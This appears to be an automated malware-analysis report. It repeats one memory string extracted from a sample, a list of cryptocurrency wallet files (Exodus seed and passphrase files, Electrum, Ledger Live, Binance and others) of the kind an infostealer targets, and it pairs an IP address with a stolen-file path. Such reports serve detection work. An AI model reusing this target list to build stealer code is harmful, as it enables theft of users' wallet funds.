Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\.finger-print.fpml
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local 